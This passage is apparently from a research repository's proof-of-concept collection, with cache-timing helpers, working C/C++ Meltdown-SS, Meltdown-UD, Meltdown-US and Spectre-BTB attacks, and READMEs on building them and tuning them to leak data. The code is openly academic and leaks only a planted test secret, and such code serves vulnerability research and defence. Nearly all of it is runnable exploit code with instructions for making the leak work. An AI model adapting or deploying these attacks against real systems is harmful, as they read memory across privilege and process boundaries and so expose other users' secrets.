volatile(\"rdtsc\" : \"=a\"(a), \"=d\"(d));\n#endif\n  a = (d << 32) | a;\n#endif\n  asm volatile(\"mfence\");\n  return a;\n}\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_begin() {\n  uint64_t a, d;\n  asm volatile (\"mfence\\n\\t\"\n    \"CPUID\\n\\t\"\n    \"RDTSCP\\n\\t\"\n    \"mov %%edx, %0\\n\\t\"\n    \"mov %%eax, %1\\n\\t\"\n    \"mfence\\n\\t\"\n    : \"=m\" (d), \"=m\" (a)\n    :\n    : \"%rax\", \"%rbx\", \"%rcx\", \"%rdx\");\n  a = (d<<32) | a;\n  return a;\n}\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_end() {\n  uint64_t a, d;\n  asm volatile(\"mfence\\n\\t\"\n    \"RDTSCP\\n\\t\"\n    \"mov %%edx, %0\\n\\t\"\n    \"mov %%eax, %1\\n\\t\"\n    \"CPUID\\n\\t\"\n    \"mfence\\n\\t\"\n    : \"=m\" (d), \"=m\" (a)\n    :\n    : \"%rax\", \"%rbx\", \"%rcx\", \"%rdx\");\n  a = (d<<32) | a;\n  return a;\n}\n\n// ---------------------------------------------------------------------------\nvoid flush(void *p) { asm volatile(\"clflush 0(%0)\\n\" : : \"c\"(p) : \"rax\"); }\n\n// ---------------------------------------------------------------------------\nvoid maccess(void *p) { asm volatile(\"mov (%0), %%eax\\n\" : : \"c\"(p) : \"rax\"); }\n\n// ---------------------------------------------------------------------------\nvoid mfence() { asm volatile(\"mfence\"); }\n\n// ---------------------------------------------------------------------------\nvoid nospec() { asm volatile(\"lfence\"); }\n\n#include <cpuid.h>\n// ---------------------------------------------------------------------------\nunsigned int xbegin() {\n  unsigned status;\n  asm volatile(\".byte 0xc7,0xf8,0x00,0x00,0x00,0x00\" : \"=a\"(status) : \"a\"(-1UL) : \"memory\");\n  return status;\n}\n\n// ---------------------------------------------------------------------------\nvoid xend() {\n  asm volatile(\".byte 0x0f; .byte 0x01; .byte 0xd5\" ::: \"memory\");\n}\n\n// ---------------------------------------------------------------------------\nint has_tsx() {\n  if (__get_cpuid_max(0, NULL) >= 7) {\n    unsigned a, b, c, d;\n    __cpuid_count(7, 0, a, b, c, d);\n    return (b & (1 << 11)) ? 1 : 0;\n  } else {\n    return 0;\n  }\n}\n\n// ---------------------------------------------------------------------------\nvoid maccess_tsx(void* ptr) {\n    if (xbegin() == (~0u)) {\n        maccess(ptr);\n        xend();\n    }\n}\n\n#elif defined(__aarch64__)\n#if ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC\n#include <time.h>\n#endif\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc() {\n#if ARM_CLOCK_SOURCE == ARM_PERF\n  long long result = 0;\n\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n\n  if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) {\n    return 0;\n  }\n\n  asm volatile(\"ISB\");\n  asm volatile(\"DSB SY\");\n\n  return result;\n#elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n  struct timespec t1;\n  clock_gettime(CLOCK_MONOTONIC, &t1);\n  uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec;\n  asm volatile(\"ISB\");\n  asm volatile(\"DSB SY\");\n  return res;\n#elif ARM_CLOCK_SOURCE == ARM_TIMER\n  uint64_t result = 0;\n\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n  asm volatile(\"MRS %0, PMCCNTR_EL0\" : \"=r\"(result));\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n\n  return result;\n#else\n#error Clock source not supported\n#endif\n}\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_begin() {\n#if ARM_CLOCK_SOURCE == ARM_PERF\n  long long result = 0;\n\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n\n  if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) {\n    return 0;\n  }\n\n  asm volatile(\"DSB SY\");\n\n  return result;\n#elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n  struct timespec t1;\n  clock_gettime(CLOCK_MONOTONIC, &t1);\n  uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec;\n  asm volatile(\"DSB SY\");\n  return res;\n#elif ARM_CLOCK_SOURCE == ARM_TIMER\n  uint64_t result = 0;\n\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n  asm volatile(\"MRS %0, PMCCNTR_EL0\" : \"=r\"(result));\n  asm volatile(\"ISB\");\n\n  return result;\n#else\n#error Clock source not supported\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_end() {\n#if ARM_CLOCK_SOURCE == ARM_PERF\n  long long result = 0;\n\n  asm volatile(\"DSB SY\");\n\n  if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) {\n    return 0;\n  }\n\n  asm volatile(\"ISB\");\n  asm volatile(\"DSB SY\");\n\n  return result;\n#elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC\n  asm volatile(\"DSB SY\");\n  struct timespec t1;\n  clock_gettime(CLOCK_MONOTONIC, &t1);\n  uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec;\n  asm volatile(\"ISB\");\n  asm volatile(\"DSB SY\");\n  return res;\n#elif ARM_CLOCK_SOURCE == ARM_TIMER\n  uint64_t result = 0;\n\n  asm volatile(\"DSB SY\");\n  asm volatile(\"MRS %0, PMCCNTR_EL0\" : \"=r\"(result));\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n\n  return result;\n#else\n#error Clock source not supported\n#endif\n}\n\n// ---------------------------------------------------------------------------\nvoid flush(void *p) {\n  asm volatile(\"DC CIVAC, %0\" ::\"r\"(p));\n  asm volatile(\"DSB ISH\");\n  asm volatile(\"ISB\");\n}\n\n// ---------------------------------------------------------------------------\nvoid maccess(void *p) {\n  volatile uint32_t value;\n  asm volatile(\"LDR %0, [%1]\\n\\t\" : \"=r\"(value) : \"r\"(p));\n  asm volatile(\"DSB ISH\");\n  asm volatile(\"ISB\");\n}\n\n// ---------------------------------------------------------------------------\nvoid mfence() { asm volatile(\"DSB ISH\"); }\n\n// ---------------------------------------------------------------------------\nvoid nospec() { asm volatile(\"DSB SY\\nISB\"); }\n\n#endif\n\n// ---------------------------------------------------------------------------\nint flush_reload(void *ptr) {\n  uint64_t start = 0, end = 0;\n\n#if USE_RDTSC_BEGIN_END\n  start = rdtsc_begin();\n#else\n  start = rdtsc();\n#endif\n  maccess(ptr);\n#if USE_RDTSC_BEGIN_END\n  end = rdtsc_end();\n#else\n  end = rdtsc();\n#endif\n\n  mfence();\n\n  flush(ptr);\n\n  if (end - start < CACHE_MISS) {\n    return 1;\n  }\n  return 0;\n}\n\n// ---------------------------------------------------------------------------\nint flush_reload_t(void *ptr) {\n  uint64_t start = 0, end = 0;\n\n#if USE_RDTSC_BEGIN_END\n  start = rdtsc_begin();\n#else\n  start = rdtsc();\n#endif\n  maccess(ptr);\n#if USE_RDTSC_BEGIN_END\n  end = rdtsc_end();\n#else\n  end = rdtsc();\n#endif\n\n  mfence();\n\n  flush(ptr);\n\n  return (int)(end - start);\n}\n\n// ---------------------------------------------------------------------------\nint reload_t(void *ptr) {\n  uint64_t start = 0, end = 0;\n\n#if USE_RDTSC_BEGIN_END\n  start = rdtsc_begin();\n#else\n  start = rdtsc();\n#endif\n  maccess(ptr);\n#if USE_RDTSC_BEGIN_END\n  end = rdtsc_end();\n#else\n  end = rdtsc();\n#endif\n\n  mfence();\n\n  return (int)(end - start);\n}\n\n\n// ---------------------------------------------------------------------------\nsize_t detect_flush_reload_threshold() {\n  size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000;\n  size_t dummy[16];\n  size_t *ptr = dummy + 8;\n  uint64_t start = 0, end = 0;\n\n  maccess(ptr);\n  for (i = 0; i < count; i++) {\n    reload_time += reload_t(ptr);\n  }\n  for (i = 0; i < count; i++) {\n    flush_reload_time += flush_reload_t(ptr);\n  }\n  reload_time /= count;\n  flush_reload_time /= count;\n\n  return (flush_reload_time + reload_time * 2) / 3;\n}\n\n// ---------------------------------------------------------------------------\nvoid maccess_speculative(void* ptr) {\n    int i;\n    size_t dummy = 0;\n    void* addr;\n\n    for(i = 0; i < 50; i++) {\n        size_t c = ((i * 167) + 13) & 1;\n        addr = (void*)(((size_t)&dummy) * c + ((size_t)ptr) * (1 - c));\n        flush(&c);\n        mfence();\n        if(c / 0.5 > 1.1) maccess(addr);\n    }\n}\n\n// ---------------------------------------------------------------------------\njmp_buf trycatch_buf;\n\n// ---------------------------------------------------------------------------\nvoid unblock_signal(int signum __attribute__((__unused__))) {\n  sigset_t sigs;\n  sigemptyset(&sigs);\n  sigaddset(&sigs, signum);\n  sigprocmask(SIG_UNBLOCK, &sigs, NULL);\n}\n\n// ---------------------------------------------------------------------------\nvoid trycatch_segfault_handler(int signum) {\n  (void)signum;\n\n  int i;\n  for(i = 1; i < 32; i++) {\n    unblock_signal(i);\n  }\n  longjmp(trycatch_buf, 1);\n}\n\n\n// ---------------------------------------------------------------------------\nint try_start() {\n#if defined(__i386__) || defined(__x86_64__)\n    if(has_tsx()) {\n        unsigned status;\n        // tsx begin\n        asm volatile(\".byte 0xc7,0xf8,0x00,0x00,0x00,0x00\"\n                 : \"=a\"(status)\n                 : \"a\"(-1UL)\n                 : \"memory\");\n        return status == (~0u);\n    } else\n#endif\n    {\n        int i;\n        for(i = 1; i < 32; i++) {\n            signal(i, trycatch_segfault_handler);\n        }\n        return !setjmp(trycatch_buf);\n    }\n}\n\n// ---------------------------------------------------------------------------\nvoid try_end() {\n#if defined(__i386__) || defined(__x86_64__)\n    if(!has_tsx())\n#endif\n    {\n        int i;\n        for(i = 1; i < 32; i++) {\n            signal(i, SIG_DFL);\n        }\n    }\n}\n\n// ---------------------------------------------------------------------------\nvoid try_abort() {\n#if defined(__i386__) || defined(__x86_64__)\n    if(has_tsx()) {\n        asm volatile(\".byte 0x0f; .byte 0x01; .byte 0xd5\" ::: \"memory\");\n    } else\n#endif\n    {\n        maccess(0);\n    }\n}\n\n#endif\n"
  },
  {
    "path": "pocs/meltdown/SS/main.c",
    "content": "#define _GNU_SOURCE\n#include \"cacheutils.h\"\n#include <memory.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/mman.h>\n#include <sys/syscall.h>\n#include <unistd.h>\n#include <sys/types.h>\n#include <asm/ldt.h>\n\nchar mem[4096 * 256];\n\n#define SEGMENT         \"es\"\n#define DO_SEG_FAIL     1\n\nchar __attribute__((aligned(0x1000))) secret = 'S';\nchar __attribute__((aligned(0x1000))) dummy;\nunsigned status;\n\nstruct user_desc my_desc_ok = {\n  .entry_number    = 0,\n  .base_addr       = 0x0,\n  .limit           = 0xFFFFFF,\n  .seg_32bit       = 0x1,\n  .contents        = MODIFY_LDT_CONTENTS_DATA,\n  .read_exec_only  = 0x0,\n  .limit_in_pages  = 0x1,\n  .seg_not_present = 0x0,\n  .useable         = 0x1\n};\n\nstruct user_desc my_desc_fail = {\n  .entry_number    = 1,\n  .base_addr       = 0x0,\n  .limit           = 0x1,\n  .seg_32bit       = 0x1,\n  .contents        = MODIFY_LDT_CONTENTS_DATA,\n  .read_exec_only  = 0x0,\n  .limit_in_pages  = 0x1,\n  .seg_not_present = 0x0,\n  .useable         = 0x1\n};\n\nvoid inline __attribute__((always_inline)) seg_ok(void) {\n  asm(\"mov $0x7, %%eax\\n\\t\" /* 0111: 0=idx, 1=LDT, 11=CPL */\n      \"mov %%eax, %%\" SEGMENT \"\\n\\t\"\n      :::\"eax\");\n}\n\nvoid inline __attribute__((always_inline)) seg_fail(void) {\n  asm(\"mov $0xf, %%eax\\n\\t\" /* 0111: 1=idx, 1=LDT, 11=CPL */\n      \"mov %%eax, %%\" SEGMENT \"\\n\\t\"\n      :::\"eax\");\n}\n\nint main(void) {\n  if(syscall(__NR_modify_ldt, 1, &my_desc_ok, sizeof(struct user_desc)))\n    exit(EXIT_FAILURE);\n\n  if(syscall(__NR_modify_ldt, 1, &my_desc_fail, sizeof(struct user_desc)))\n    exit(EXIT_FAILURE);\n\n  memset(mem, 1, sizeof(mem));\n\n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  // Flush our shared memory\n  for(int i = 0; i < 256; i++) {\n    flush(mem + i * 4096);\n  }\n\n  for(int r = 0; r < 1000000; r++) {\n    // Ensure data is in the cache\n    maccess(&secret);\n    #if DO_SEG_FAIL\n      seg_fail();\n    #endif\n    // tsx begin\n    if(try_start()) {\n        // Encode in the cache\n        asm(\"mov dummy, %%ebx\\n\\t\"\n            \"mov %%\" SEGMENT \":secret, %%eax\\n\\t\"\n            \"shl $0xc, %%eax\\n\\t\"\n            \"mov (%0, %%eax), %%eax\\n\\t\"\n            ::\"c\"(mem):\"eax\", \"ebx\");\n\n      // tsx end\n      try_abort();\n    }\n    try_end();\n    seg_ok();\n\n    // Recover data from the covert channel\n    for(int i = 1; i < 256; i++) {\n      if (flush_reload(mem + i * 4096)) {\n        printf(\"%c \", i);\n      }\n    }\n    flush(&dummy);\n  }\n\n  printf(\"Meltdown-SS done!\\n\");\n  exit(EXIT_SUCCESS);\n}\n"
  },
  {
    "path": "pocs/meltdown/UD/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -O3 -I../../\n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/meltdown/UD/README.md",
    "content": "# Meltdown-UD PoC\n\nThis folder contains a Meltdown-UD proof-of-concept implementation for x86_64 and ARMv8.\n\n## Compile\n\nCompile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version.\n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively.\n\nIf the PoC is successfull the output is\n```\nS S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S\n```\n\n## How it works\nIn this PoC, we try to encode a value in the cache following an illegal opcode exception. On x86, we use a wrong lock prefix to trigger the exception, on ARM we use the instruction that is defined to always throw the exception. We suppress the exception either via Intel TSX or segfault handling.\n\n## Troubleshooting\n\n* The output is garbage (mostly just (random letters))\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER.\n\n* The program does not leak anything\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores.\n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\".\n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER.\n    + **Solution #5 (ARM only):** If you get a segfault, try compiling it with -O1 or -O2.\n"
  },
  {
    "path": "pocs/meltdown/UD/main.c",
    "content": "#define _GNU_SOURCE\n#include <memory.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/mman.h>\n#include <sys/syscall.h>\n#include <unistd.h>\n\n#include \"libcache/cacheutils.h\"\n\n#define SECRET 'S'\n\nint main(void) {\n  int status;\n  int pkey;\n  char *buffer;\n  pagesize = sysconf(_SC_PAGESIZE);\n  mem = (char*) malloc( pagesize * 256 );\n  memset(mem, 1, pagesize * 256);\n\n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  buffer = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE,\n                MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);\n\n  *buffer = SECRET;\n  printf(\"buffer contains: %c\\n\", *buffer);\n  \n  // Flush our shared memory\n  flush_shared_memory();\n\n  for(int r = 0; r < 1000000; r++) {\n    // Ensure data is in the cache\n    maccess(buffer);\n    unsigned status;\n    // Start TSX\n    if(try_start()) {\n      // ud#, due to wrong lock prefix\n#if !defined(__aarch64__)\n      asm volatile(\".byte 0xf0\");\n      asm volatile(\"inc %rax\");\n#else\n\t    asm volatile (\".word 0x00000000\\n\"); //raises sigill\n#endif\n      // Encode in the cache\n      maccess(mem + (*buffer) * pagesize);\n\n      try_abort();\n    }\n    try_end();\n\n    // Recover from the covert channel\n    for(int i = 0; i < 256; i++) {\n      int mix_i = (i * 167 + 13) % 256;\n      if(flush_reload(mem + mix_i * pagesize)) {\n        printf(\"%c \", mix_i);\n        fflush(stdout);\n      }\n    }\n  }\n\n  printf(\"Meltdown-UD done!\\n\");\n\n  printf(\"buffer contains: %c\\n\", *buffer);\n\n  free(mem);\n  return EXIT_SUCCESS;\n}\n"
  },
  {
    "path": "pocs/meltdown/US/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -O3 -I../../ -L../../libpte -lpte -lrt\n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../  -L../../libpte -lpte -lrt\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/meltdown/US/README.md",
    "content": "# Meltdown-US PoC\n\nThis folder contains a Meltdown-US proof-of-concept implementation for x86_64 and ARMv8.\n\n## Compile\n\nCompile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version.\n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively.\n\nThe expected output is\n```\nS S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S\n```\n\n## How it works\nIn our PoC, we create a shared mapping to a piece of memory. For one mapping, we clear the userspace-accessible bit using libpte (PTEditor), the other one remains a valid mapping that is accessible from userspace. This valid mapping is required to load the data into the cache. Our PoC also works if the data is not in the cache, but it takes longer to leak data.\n\nWe leak the data by accessing it through the non-accessible mapping and encode the data in the cache by accessing a page depending on the loaded value. We recover the data using a Flush+Reload attack. In our PoC, we suppress the page fault either via Intel TSX or segfault handling. Another possibility would be to hide the faulting access in speculation.\n\n## Troubleshooting\n\n* The output is garbage (mostly just (random letters))\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER.\n\n* The program does not leak anything\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores.\n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\".\n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER.\n"
  },
  {
    "path": "pocs/meltdown/US/main.c",
    "content": "#define _GNU_SOURCE\n#include <memory.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/mman.h>\n#include <sys/syscall.h>\n#include <unistd.h>\n#include <sys/prctl.h>\n#include <sys/mman.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n\n#include \"libpte/ptedit_header.h\"\n#include \"libcache/cacheutils.h\"\n\nchar *victim_page;\n\n#define SECRET 'S'\n\nint main(void) {\n  pagesize = sysconf(_SC_PAGESIZE);  \n  mem = (char*) malloc( pagesize * 256 );\n  memset(mem, 1, pagesize * 256);\n  \n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  // Initialize PTEditor to manipulate page table entries\n  if(ptedit_init()) {\n    printf(\"Could not initialize ptedit (did you load the kernel module?)\\n\");\n    return 1;\n  }\n\n  // We need a shared mapping. One mapping gets US bit cleared for unauthorized access.\n  // The second one remains valid to keep data in the cache as it works better.\n  int shm = shm_open(\"shared_mapping\", O_CREAT | O_RDWR, 0644);\n  if(shm == -1) {\n    fprintf(stderr, \"Error: Shared memory\\n\");\n    return -1;\n  }\n\n  // Set memory objects size\n  if(ftruncate(shm, 4096 * 2) == -1) {\n    fprintf(stderr, \"Error: Could not set shared memory object size\\n\");\n    return -1;\n  }\n\n  // Victim mapping that gets US bit cleared\n  victim_page = mmap(NULL, pagesize, PROT_READ | PROT_WRITE,\n                MAP_SHARED, shm, 0);\n \n  // Mapping for keeping data in the cache\n  char* accessor = mmap(NULL, pagesize, PROT_READ | PROT_WRITE,\n                MAP_SHARED, shm, 0);\n\n  // Write data we want to recover to our victim page\n  memset( victim_page, SECRET, pagesize * sizeof(char) );\n  // Clear US bit of our victim page\n  ptedit_pte_clear_bit( victim_page, 0, PTEDIT_PAGE_BIT_USER);\n\n  // Flush our shared memory\n  flush_shared_memory(); \n\n  printf(\"Output legend:\\n\");\n  printf(\"  '%c'.....Works\\n\", (char)SECRET);\n  \n  for(int r = 0; r < 1000000; r++) {\n    // Load data into the cache and fence\n    maccess(accessor);\n    mfence();\n    // Start TSX transaction if available on CPU\n    if(try_start()) {\n      // Null pointer access prolongs transient window\n      maccess(0);\n      // Perform access based on unauthorized data\n      maccess(mem + *victim_page * pagesize);\n      try_abort();\n    }\n    try_end();\n\n    // Recover data from cache covert channel\n    for(int i = 0; i < 256; i++) {\n      int mix_i = ((i * 167) + 13) % 256;\n      if (mix_i != 0 && flush_reload(mem + mix_i * pagesize)) {\n        printf(\"%c \", mix_i);\n        fflush(stdout);\n      }\n    }\n  }\n\n  printf(\"Meltdown-US done!\\n\");\n  munmap(victim_page, pagesize);\n  munmap(accessor, pagesize);\n  shm_unlink(\"shared_mapping\");\n  ptedit_cleanup();\n  exit(EXIT_SUCCESS);\n}\n"
  },
  {
    "path": "pocs/spectre/BTB/ca_ip/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.cpp\n\tg++ main.cpp -o poc_x86 -Os -I../../../ \n\nmain_arm: main.cpp\n\taarch64-linux-gnu-g++ -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.cpp -o poc_arm -I../../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/spectre/BTB/ca_ip/README.md",
    "content": "# Spectre-BTB PoC \n\nThis folder contains a Spectre-BTB proof-of-concept implementation for x86_64 and ARMv8. \n\n## Compile\n\nCompile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. \n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64  or ARMv8 respectively. \n\nThe expected output is\n```\nS S S S S S S S S S S S S S S S\n```\n\n## How it works\nThis PoC uses a class from which two subclasses are derived. One class Bird contains the secret data and a implements the function `move` so that it does nothing. The other class, Fiish, contains some dummy data and the implements the function `move` so that it encodes the member variable in the cache. The functinon `move_animal` then expects the base class as a parameter and calls the virtual function `move`. We then fork and let one process call the function with an object of type Fish and then let the other process call the function with a Bird object, thus leaking the secret data.\n\n## Troubleshooting\n\n* The output is garbage (mostly just \"AAAAAAAAAA...\")\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n \n* The program appears to hang in \"Leak secret...\"\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. \n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\". \n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER.\n"
  },
  {
    "path": "pocs/spectre/BTB/ca_ip/main.cpp",
    "content": "#ifndef _GNU_SOURCE\n#define _GNU_SOURCE\n#endif\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <sched.h>\n#include <string.h>\n#include <unistd.h>\n#include <sys/mman.h>\n\nextern \"C\" {\n#include \"libcache/cacheutils.h\"\n}\n\n#define SECRET 'S'\n\n// Base class\nclass Animal {\npublic:\n  virtual void move() {\n  }\n};\n\n\n// Bird contains the secret\nclass Bird : public Animal {\nprivate:\n    char secret;\npublic:\n  Bird() {\n    secret = SECRET;\n  }\n  void move() {\n     // nop\n  }\n};\n\n// Class that contains the function to leak data\nclass Fish : public Animal {\nprivate:\n  char data;\npublic:\n  Fish() {\n    data = 'F';\n  }\n  void move() {\n    //Encode data in the cache\n    cache_encode(data);\n  }\n};\n\n// Function so that we always call animal->move from the same virtual address\n// required for indexing always the same BTB entry\nvoid move_animal(Animal* animal) {\n  animal->move();\n}\n\n\nint main(int argc, char **argv) {\n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n  printf(\"Works if %c appears\\n\", SECRET);\n\n  pagesize = sysconf(_SC_PAGESIZE);\n  char* _mem = (char*)malloc(pagesize*300);\n  mem = (char*)(((size_t)_mem & ~(pagesize-1)) + pagesize*2);\n\n  // Cross-address-space attack, so we fork\n  int is_child = (fork() == 0);\n  Fish* fish = new Fish();\n  Bird* bird = new Bird(); // contains secret\n\n  char* ptr = (char*)((((size_t)move_animal)) & ~(pagesize-1));\n  mprotect(ptr, pagesize * 2, PROT_WRITE | PROT_READ | PROT_EXEC);\n\n  memset(mem, 0, pagesize * 290);\n  maccess((void*)move_animal);\n\n  // trigger COW for the page containing the function\n  ptr[0] = ptr[0];\n\n\n  while(1) {\n    // Parent is doing the mistraining\n    if(!is_child) {\n      nospec();\n      // train for fish\n      for(int j = 0; j < 1000; j++) {\n        move_animal(fish);\n      }\n    }\n    // Flush our shared memory\n    flush_shared_memory();\n    mfence();\n\n    // Increase misspeculation chance\n    flush(bird);\n    mfence();\n\n    // Child is leaking data\n    if(is_child) {\n      nospec();\n      // Leak bird secret\n      move_animal(bird);\n\n      // Recover data from the covert channel\n      for(int i = 1; i < 256; i++) {\n        int mix_i = ((i * 167) + 13) & 255; // prefetcher\n        if(flush_reload(mem + mix_i * pagesize)) {\n          if((mix_i >= 'A' && mix_i <= 'Z')) {\n            printf(\"%c \", mix_i);\n          }\n          fflush(stdout);\n          sched_yield();\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "pocs/spectre/BTB/ca_oop/cacheutils.h",
